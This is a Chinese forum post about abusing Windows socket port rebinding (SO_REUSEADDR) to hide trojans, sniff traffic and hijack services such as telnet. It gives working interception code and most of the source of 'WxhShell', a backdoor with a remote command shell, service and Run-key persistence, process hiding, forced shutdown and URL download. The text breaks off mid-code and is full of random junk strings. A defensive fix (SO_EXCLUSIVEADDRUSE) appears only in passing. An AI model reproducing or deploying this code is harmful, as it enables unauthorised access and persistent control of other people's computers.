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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: >x%Z^ U  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); k~ZwHx(%S  
opz.kP[e,  
  saddr.sin_family = AF_INET; Q+ ;6\.#r  
A9lnQCsJ  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 8aw'Q?  
ArBgg[i  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); *Z7W'-  
W,zlR5+Jk  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 C7%+1w'D8  
*iB_$7n`  
  这意味着什么?意味着可以进行如下的攻击: W M/pP?||  
 EthnI7Y  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 #vhxW=L`=  
zJ42%0g  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Pms"YhyZ7  
]}/LNO*L"  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 c ?mCt0Cg  
'xAfcP[^  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  7O{c>@\  
[Q,E( s  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 bet?5Dk  
^8dJJ*  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 jGM~(;iw6i  
R;6(2bTN6  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 xW*L^97 ;  
i Xtar;%  
  #include = >)S\Dfi  
  #include ^B2>lx\n  
  #include AW@ I,  
  #include    $L>tV='  
  DWORD WINAPI ClientThread(LPVOID lpParam);   \R45#. P6X  
  int main() }6} Gj8Nb  
  { AE1!u{  
  WORD wVersionRequested; hKb-l`KO  
  DWORD ret; 4w0 &f  
  WSADATA wsaData; hA6!F#1  
  BOOL val; uWR\#D'  
  SOCKADDR_IN saddr; Px&*&^Gf[b  
  SOCKADDR_IN scaddr; ZRO   
  int err; F!jYkDY  
  SOCKET s; V%?oI]" l  
  SOCKET sc; 9RwD_`D(MN  
  int caddsize; ,EW-21  
  HANDLE mt; SnVIV%  
  DWORD tid;   ^R\0<\'  
  wVersionRequested = MAKEWORD( 2, 2 ); LhC%`w  
  err = WSAStartup( wVersionRequested, &wsaData ); |xyN#wi  
  if ( err != 0 ) { ]+Yd#<j(u  
  printf("error!WSAStartup failed!\n"); QbqEe/*$_  
  return -1; x/47e8/  
  } 4AB7uw  
  saddr.sin_family = AF_INET; Ua]shSjyI  
   ?B@(W(I  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 .T?9-`I9  
%CJgJ,pk>  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); qQ[&FjTO`  
  saddr.sin_port = htons(23); <SmXMruU  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) BO<I/J~b  
  { qT^R> p  
  printf("error!socket failed!\n"); A~&Tp  
  return -1; K5No6dsD  
  } PpX=~Of~  
  val = TRUE; :Lqz`  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 v.H00}[.  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) &yN@(P)  
  { 4Mi~eL%D (  
  printf("error!setsockopt failed!\n"); $]EG|]"Ns  
  return -1; =FQ]eb*  
  } 2[: *0 DV#  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; oUXu;@l  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 VU`aH9g3(  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 |&lAt \  
]}H;`H  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 4^(u6tX5|+  
  { y)o!F^  
  ret=GetLastError(); [3h~y7  
  printf("error!bind failed!\n"); 9{_D"h}}  
  return -1; P3C|DO4  
  } :{?8rA5  
  listen(s,2); YqwDvJWX  
  while(1)  *e{d^  
  { '|Dm\cy  
  caddsize = sizeof(scaddr); V}(snG,  
  //接受连接请求 [ah%>&u  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ~Q%C>  
  if(sc!=INVALID_SOCKET) =o]V!MW  
  { s,> 1n0a  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 'eg?W_zu  
  if(mt==NULL) ^;4nHH7z-,  
  { \ a18Hp|%  
  printf("Thread Creat Failed!\n"); ]^:l?F\h  
  break; V4'G%!NY  
  } v`#T)5gl-  
  } <kIg>+  
  CloseHandle(mt); ciO^2X  
  } 1"{3v@yi  
  closesocket(s); ~jMdM~}  
  WSACleanup(); aY7kl  
  return 0; Q|Uq.UjY  
  }   3{B`[$  
  DWORD WINAPI ClientThread(LPVOID lpParam) R06q~ >  
  { #|`/K[.xd%  
  SOCKET ss = (SOCKET)lpParam; 6?OH"!b2-}  
  SOCKET sc; %toxZ}OP  
  unsigned char buf[4096]; k r2V  
  SOCKADDR_IN saddr; +V*FFv  
  long num; W _(  
  DWORD val; v`8dRVN  
  DWORD ret; xq1 =O  
  //如果是隐藏端口应用的话,可以在此处加一些判断 fwB+f` w`  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   /]4[b!OTJ  
  saddr.sin_family = AF_INET; /pzEL  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); U{n< n8  
  saddr.sin_port = htons(23); FRpTYLA2  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) uTY5.8  
  { .lm^+1}r  
  printf("error!socket failed!\n"); odAeBQy  
  return -1; zMasA  
  } P_)h8-!+ $  
  val = 100; zM?JLNs]<{  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Bgs3sM9  
  { @+1-_Q`s/R  
  ret = GetLastError(); !7XAc,y  
  return -1; $8#zPJR&  
  } s\g"~2+  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) `oH=O6  
  { "1P8[  
  ret = GetLastError(); bQc-ryC+.  
  return -1; ]F kLtq  
  } 'P(S*sr  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) apQ` l^  
  { b#cXn4<3D  
  printf("error!socket connect failed!\n"); cSy{*K{B  
  closesocket(sc); a& b75.-  
  closesocket(ss);  9')  
  return -1; y\7 -!  
  } DEEQ/B{  
  while(1) xu[6h?u(h8  
  { *{|{T_H:  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 m~a'  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 h3y0bV[g=  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 'B&gr}@4O=  
  num = recv(ss,buf,4096,0); IfF@$eO  
  if(num>0) W9>q1  
  send(sc,buf,num,0); ./nq*4=  
  else if(num==0) 1j7^2Y|UT`  
  break; '?Fw]z1$  
  num = recv(sc,buf,4096,0);  )! 2$yD  
  if(num>0) 92g#QZs&W  
  send(ss,buf,num,0); 2 t'^  
  else if(num==0) 1"k"<{%  
  break; fW^\G2Fk  
  } 8nn%wps  
  closesocket(ss); h">L>*Wfx  
  closesocket(sc); tHgn-Dhzr  
  return 0 ; R$qp3I  
  } =ZdP0l+V=k  
CSF-2lSG  
wxw3t@%mNm  
========================================================== *h59Vaoc  
!bEy~.  
下边附上一个代码,,WXhSHELL := OdjfhY  
;{@ [ek6  
========================================================== w\wS?E4G  
CMk0(sztU_  
#include "stdafx.h" .{,PC  
pRS+vV3  
#include <stdio.h> AWkXW l}  
#include <string.h> Fy(-.S1  
#include <windows.h> i co%_fp  
#include <winsock2.h> ry bs9:_}  
#include <winsvc.h> 09FHE/L  
#include <urlmon.h> t+C9QXY  
-"m4 A0  
#pragma comment (lib, "Ws2_32.lib") Z)=S. )  
#pragma comment (lib, "urlmon.lib") QoagyL  
tuZA q;X  
#define MAX_USER   100 // 最大客户端连接数 M'Fa[n*b?!  
#define BUF_SOCK   200 // sock buffer x4@v$phyH  
#define KEY_BUFF   255 // 输入 buffer Gwl]sMJ  
01bBZWX  
#define REBOOT     0   // 重启 n/ ]<Bc?  
#define SHUTDOWN   1   // 关机 rof&O   
VXr'Z  
#define DEF_PORT   5000 // 监听端口 CUz1 q*):  
C)w11$.YQ9  
#define REG_LEN     16   // 注册表键长度 $:|z{p  
#define SVC_LEN     80   // NT服务名长度 tG1,AkyZ  
6]`XW 0{C  
// 从dll定义API NI(fJ%U  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); i:8g3|JfMe  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); n.}A :Z  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); EP!zcp2' C  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); IP)?dnwG  
n%N|?!rB  
// wxhshell配置信息 Jxyeh1z qB  
struct WSCFG { "S#}iYp  
  int ws_port;         // 监听端口 !uIT5D  
  char ws_passstr[REG_LEN]; // 口令 (wxdT6RVm\  
  int ws_autoins;       // 安装标记, 1=yes 0=no )HLe8:PG~  
  char ws_regname[REG_LEN]; // 注册表键名 qx#k()E.U  
  char ws_svcname[REG_LEN]; // 服务名 &c;@u?:@S  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 `jl 1Q,~2r  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Z_%9LxZlyj  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ;QMRm<CLV  
int ws_downexe;       // 下载执行标记, 1=yes 0=no z:Sr@!DZ  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" v=-8} S  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 -Oj}PGj$e\  
8H0d4~Wg  
}; a(!_ 3i@  
iw`,\V&  
// default Wxhshell configuration {Q/XV=  
struct WSCFG wscfg={DEF_PORT, os=Pr{  
    "xuhuanlingzhe", B.zRDB}i=  
    1, <2{CR0]u  
    "Wxhshell", yJ(BPSt  
    "Wxhshell", >U.)?>G/dt  
            "WxhShell Service", s)?=4zJ  
    "Wrsky Windows CmdShell Service", J;?#Zt]`L  
    "Please Input Your Password: ", RbexsBq  
  1, 3*N-@;[>b  
  "http://www.wrsky.com/wxhshell.exe", {J`]6ba  
  "Wxhshell.exe" Y[oNg>Rz  
    }; {9yv3[f3  
T]&% KQ  
// 消息定义模块 ~;m3i3D  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Pfy2PpA  
char *msg_ws_prompt="\n\r? for help\n\r#>"; |AY`OVgcKD  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; C26vH#C  
char *msg_ws_ext="\n\rExit."; NGA8JV/U  
char *msg_ws_end="\n\rQuit."; O26'|w@$  
char *msg_ws_boot="\n\rReboot..."; ]_8bX}_n  
char *msg_ws_poff="\n\rShutdown..."; u`%Kh_  
char *msg_ws_down="\n\rSave to "; (A\X+S(  
2WKYf0t  
char *msg_ws_err="\n\rErr!"; 0+a-l[!p  
char *msg_ws_ok="\n\rOK!"; ;<aT| 4  
Zd2B4~V  
char ExeFile[MAX_PATH]; Mqy5>f)  
int nUser = 0; |sQC:y>  
HANDLE handles[MAX_USER]; %'}zr>tx:  
int OsIsNt; hJuR,NP  
\KBE+yj  
SERVICE_STATUS       serviceStatus; ~/R,oQ1!g}  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ?CaMn b8  
 ,\HZIl[8  
// 函数声明 J$9`[^pV  
int Install(void); PS" ,  
int Uninstall(void); 7~gIOu  
int DownloadFile(char *sURL, SOCKET wsh); &rdz({  
int Boot(int flag); v#. %eF m  
void HideProc(void); 4G:?U6  
int GetOsVer(void); J%_m`?  
int Wxhshell(SOCKET wsl); 9Ai e$=  
void TalkWithClient(void *cs); 3ID 1>  
int CmdShell(SOCKET sock); pZpAb+  
int StartFromService(void); ~EYsUC#B_  
int StartWxhshell(LPSTR lpCmdLine); yuTSzl25,/  
o09)esy  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); \ O*8%  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 3Kv~lo^  
hKZ<PwBi  
// 数据结构和表定义 Bh'_@PHP  
SERVICE_TABLE_ENTRY DispatchTable[] = !=C74$TH  
{ 3#=%2\  
{wscfg.ws_svcname, NTServiceMain}, wt8?@lJ"/  
{NULL, NULL} q9cN2|:  
}; \Vc-W|e  
#FAy ]7/O  
// 自我安装 {8!\aYI  
int Install(void) W@X/Z8.(  
{ jH 4,-  
  char svExeFile[MAX_PATH]; 9 n(.v}  
  HKEY key; k<bA\5K  
  strcpy(svExeFile,ExeFile); .ZV-]jgr  
AW;ncx;  
// 如果是win9x系统,修改注册表设为自启动 =Nyq1~   
if(!OsIsNt) { 7P& O{tl(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ({"jL*S,q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); w=dTa5  
  RegCloseKey(key); KdBE[A-1^M  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { EWcqMD]4u  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); x] e &G!|  
  RegCloseKey(key); 4pYscB  
  return 0; ~\UH`_83[  
    } cph&\ V2jt  
  } LSX;|#AI  
} 'Gr}<B$A3  
else { Q+Sx5JUR~  
vz\^Aa #fv  
// 如果是NT以上系统,安装为系统服务 Ng1{ NI+S  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); SxAZ2|/-  
if (schSCManager!=0) jrF#DDH?I  
{ /h.hFM/  
  SC_HANDLE schService = CreateService ~>j5z&:&  
  ( )~u<u:N  
  schSCManager, RotWMGNK  
  wscfg.ws_svcname, /Dmuvb|A  
  wscfg.ws_svcdisp, lk<}`#(g  
  SERVICE_ALL_ACCESS, W7\s=t\  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ji8)/  
  SERVICE_AUTO_START, ~8A !..Z  
  SERVICE_ERROR_NORMAL, GKT^rc-YT-  
  svExeFile, nm8XHk]  
  NULL, t08E 2sI  
  NULL, u3[A~V|0=  
  NULL, )BJ Z{E*  
  NULL, X:0-FCT;\  
  NULL +!@@55I-  
  ); s-S#qGZ  
  if (schService!=0) bhqV2y*'  
  { {.,-lFb\  
  CloseServiceHandle(schService); 2@W'q=+0  
  CloseServiceHandle(schSCManager); 2. t'!uwI  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); =!?4$vW  
  strcat(svExeFile,wscfg.ws_svcname); @(b;H0r~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { AW\#)Em  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); >j%4U*  
  RegCloseKey(key); [ST,/<?0  
  return 0; KKFV+bK)  
    } [v,Y-}wQ)  
  } t'7A-K=k3  
  CloseServiceHandle(schSCManager); vrGx<0$  
} rAuv`.qEV  
} (8XP7c]5  
\DgWp:|  
return 1; 8|U-{"!O ?  
} !_a@autj  
hFLLg|@  
// 自我卸载 dXBXV>rbB  
int Uninstall(void) q]^Q?r<g::  
{ 4:50dj  
  HKEY key; n/zTS3<  
UHaY|I${U  
if(!OsIsNt) { 20NotCM  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <$:Hf@tpMo  
  RegDeleteValue(key,wscfg.ws_regname); *# 7 1aZ  
  RegCloseKey(key); n0T>sE -9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { D.ajO^[  
  RegDeleteValue(key,wscfg.ws_regname); ?gGmJl  
  RegCloseKey(key); HW"';M%  
  return 0; u3VSS4RG%  
  } d[t+iBP;)  
} xGBp+j1H  
} vgyv~Px]AW  
else { A4|L;z/A[h  
H[;\[ 3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); m })EYs1  
if (schSCManager!=0) @D3|Ak1  
{ 0|L%)'F  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); o&PPW~D+h@  
  if (schService!=0) c]OK)i-{l  
  { KhWt9=9  
  if(DeleteService(schService)!=0) { sf(2~BMQI  
  CloseServiceHandle(schService); U6sPJc<  
  CloseServiceHandle(schSCManager); bS2)L4MQY  
  return 0; $I$ B8  
  } V`,tu `6  
  CloseServiceHandle(schService); 9Q.}jV  
  } ww^!|VVa  
  CloseServiceHandle(schSCManager); &>KZ4%&?  
} 0Xe?{!@a  
} :tTP3 t5  
e5HHsR6  
return 1; Nfdh0v  
} gA/8Df\G:l  
xUw)mUn@N  
// 从指定url下载文件 -Y:^<C^^&8  
int DownloadFile(char *sURL, SOCKET wsh) Mu>WS)1lS  
{ 2 yY.rs  
  HRESULT hr; 0;6 ^fiSY;  
char seps[]= "/"; uY"Bgz:=d  
char *token; aEJds}eE6)  
char *file; nUy2)CL[L  
char myURL[MAX_PATH]; 1#OM~v6B  
char myFILE[MAX_PATH]; 7hLdCSX  
&.4m(ZX  
strcpy(myURL,sURL); iAd3w6  
  token=strtok(myURL,seps); u@ psVt   
  while(token!=NULL) s${|A =  
  { Scfk] DT  
    file=token; 6Y 4I $[  
  token=strtok(NULL,seps); p>#QFd"m  
  } S@WzvM  
x_eR/B>  
GetCurrentDirectory(MAX_PATH,myFILE); 0.4Q-?J  
strcat(myFILE, "\\"); ] 1:pnd  
strcat(myFILE, file); ML= :&M!ao  
  send(wsh,myFILE,strlen(myFILE),0); OqW (C  
send(wsh,"...",3,0); d7)EzW|I;  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 9[7Gxmf  
  if(hr==S_OK) So^;5tG  
return 0; l A1l  
else E5EAk6  
return 1; 017(I:V?(:  
=w#sCy  
} uz8Y)b  
p0b2n a !  
// 系统电源模块 no`>r}C  
int Boot(int flag) }@'Zt6+tS  
{ zK@DQ5  
  HANDLE hToken; due'c!wW  
  TOKEN_PRIVILEGES tkp;  Q&d"uLsx  
aIsT"6A~{  
  if(OsIsNt) { D) my@W0,  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); QaAWO  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ~Y3"vdd  
    tkp.PrivilegeCount = 1; MPxe|Wws  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; h+<F,0  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); {:!CA/0Jx  
if(flag==REBOOT) {  E qc,/  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) pndAXO:v  
  return 0; Z8yt8O  
} /A{/  
else { 6k%Lc4W  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ,f(:i^iz!  
  return 0; 0Ia8x?80V  
} X$4MpXx  
  } PRyZ; @  
  else { &!=[.1H<  
if(flag==REBOOT) { ='"hB~[  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) }wkZ\q[  
  return 0; @$bEY#*C  
} [ {|868  
else { pMy];9SvW  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) x6BO%1  
  return 0; 1P17]j2C  
} dRXEF6G  
} oTjsiXS  
-%g&O-i\  
return 1; L=1~)>mP  
} |[lmW%  
BA 9c-Ay  
// win9x进程隐藏模块 ?-HLP%C('  
void HideProc(void) $QB~ x{v@n  
{ %x2_njDd  
#3WKm*T/  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); F=qG +T  
  if ( hKernel != NULL ) 0zC mU)ng  
  { l2lyi  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); TODTR7yGo  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); m+ww  
    FreeLibrary(hKernel); ; wpX  
  } ]?$e Bbt  
PAUepO_  
return; {"x>ewAf  
} {|Pg]#Wi&  
\F }s"#  
// 获取操作系统版本 + yF._Ie=  
int GetOsVer(void) QwaAGUA  
{ U/|;u;H=  
  OSVERSIONINFO winfo; 9jC>OZ0s  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); +"HLx%k  
  GetVersionEx(&winfo); F}C.F  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) TcP (?v  
  return 1; >2%*(nL  
  else `BA,_N|6  
  return 0; N;A#K 7A[@  
} 5,,b>Z<  
eInx\/  
// 客户端句柄模块 cp&- 6 w+  
int Wxhshell(SOCKET wsl) @-ms_Z  
{ H}[kit*9  
  SOCKET wsh; :nPLQqXGQ  
  struct sockaddr_in client; pg4J)<t#  
  DWORD myID; X^!1MpEQ  
{#]vvO2~$  
  while(nUser<MAX_USER) ,8vqzI  
{ S=R}#  
  int nSize=sizeof(client); qyx  '  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); E6f{z9y6  
  if(wsh==INVALID_SOCKET) return 1; u*aFWl]=  
p903 *F^[,  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); rpZ^R}B%*v  
if(handles[nUser]==0) vj?6,Ae  
  closesocket(wsh); B"903 g 1  
else ]sbj8  
  nUser++; rz  
  } b;;C><  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); AusCU~:>  
Xaca=tsO  
  return 0; [It E+{U  
} 1syI%I1  
:k"VR,riF  
// 关闭 socket j%V95M% $  
void CloseIt(SOCKET wsh) Gh:hfHiG  
{ r@XH=[:  
closesocket(wsh); _eE hIQ9  
nUser--; {);S6F$[3  
ExitThread(0); Y~j )B\^{  
} '^!1AGF  
a IA9rn  
// 客户端请求句柄 Eed5sm$H  
void TalkWithClient(void *cs) \+STl#3*q  
{ (}|QSf:  
,dG2[<?o  
  SOCKET wsh=(SOCKET)cs; )<vU F]e~  
  char pwd[SVC_LEN]; ,xJ1\_GI`  
  char cmd[KEY_BUFF]; ~ e4Pj`?=K  
char chr[1]; j> ?0Y  
int i,j; ~`<(T)rs  
6;:s N8M+1  
  while (nUser < MAX_USER) { xjplJ'jB  
m-M.F9R  
if(wscfg.ws_passstr) { nisW<Q`uB  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +] .Zs<  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); T/A[C  
  //ZeroMemory(pwd,KEY_BUFF); #})OnM^],  
      i=0; M u>G gQSZ  
  while(i<SVC_LEN) { o!";&\,Ip  
8l, R|$RKP  
  // 设置超时 ?/SIA9VK  
  fd_set FdRead; {5$.:Y  
  struct timeval TimeOut; U1Z.#ETnM  
  FD_ZERO(&FdRead); RO]Vn]qb  
  FD_SET(wsh,&FdRead); \R6D'Yt  
  TimeOut.tv_sec=8; NJVAvq2E.  
  TimeOut.tv_usec=0; 4^KeA".  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); h{R>L s  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); [|XMR=\>  
?_!} lg  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;Tn$c70  
  pwd=chr[0]; +;H-0Q5  
  if(chr[0]==0xd || chr[0]==0xa) { <Ag`pZ<s  
  pwd=0; N<e=!LV  
  break; '\&t3?;  
  } Oc51|[ Wj  
  i++; W[dK{?RB  
    } uh][qMyLM  
^ RS?y8  
  // 如果是非法用户,关闭 socket g.& n X/  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); %LH~Im=  
} Spnshv8  
Nan@SuKY  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); OMi_')J  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (4hCT*  
W!R}eLf@  
while(1) {  2]$ 7  
y rSTU-5u  
  ZeroMemory(cmd,KEY_BUFF); L=ala1{O  
kb27$4mm  
      // 自动支持客户端 telnet标准   $rb #k{  
  j=0; ?8g*"& cn  
  while(j<KEY_BUFF) { :U,n[.$5'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )&Bf%1>  
  cmd[j]=chr[0]; * [\H)Lz  
  if(chr[0]==0xa || chr[0]==0xd) { 0""t`y&  
  cmd[j]=0; pCE,l'Xa  
  break; ?!h jI;_&  
  } ) r8yt}  
  j++; &vDK6w,  
    } ?"d25LyN  
WSt&?+Y  
  // 下载文件 x*Lm{c5+  
  if(strstr(cmd,"http://")) { u~WE} VC  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Ik4FVL8~  
  if(DownloadFile(cmd,wsh)) hzT,0<nw  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); z NF.nS}:  
  else k u@sQn  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $50/wb6s  
  } Gk!06   
  else { $P9'"a)Lm  
yX^/Oc@j  
    switch(cmd[0]) { w?r   
  Zj(2$9IU  
  // 帮助 |;G9K`8  
  case '?': { rF/k$_bFt  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); M<4tjVQ6  
    break; $jpAnZR- /  
  } {0&'XA=j  
  // 安装 tAI<[M@  
  case 'i': { D7 D:?VoR  
    if(Install()) |f :1Br  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4x`.nql  
    else hSg4A=y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); r )EuH.z  
    break; cc*xHv^  
    } ?89K [D|  
  // 卸载 TVkC pO,H  
  case 'r': { sPu@t&$  
    if(Uninstall()) 4iXB`@k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R\^n2gK  
    else u%o2BLx  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4RLuv?,)~  
    break; TJ&Z/k3-  
    } }m`+E+T4  
  // 显示 wxhshell 所在路径 $CgJ+ua\8  
  case 'p': { /nbHin#we  
    char svExeFile[MAX_PATH]; ^an3&  
    strcpy(svExeFile,"\n\r"); Gkc.HFn(  
      strcat(svExeFile,ExeFile); Y(qyuS3h~*  
        send(wsh,svExeFile,strlen(svExeFile),0); D2060ze  
    break; q ,C)AZ  
    } W)RCo}f  
  // 重启 Vy- kogVt  
  case 'b': { u_;&+o2  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); LD.^.4{c:  
    if(Boot(REBOOT)) o 0-3[W'x<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Cwb }$=p'  
    else { )kBN]>&R  
    closesocket(wsh); i^i^g5l!  
    ExitThread(0); a*qf\ &Vb|  
    } Hn- k*Y/P  
    break; SR+<v=i  
    } 5kRP Sfh  
  // 关机 n1"QHA  
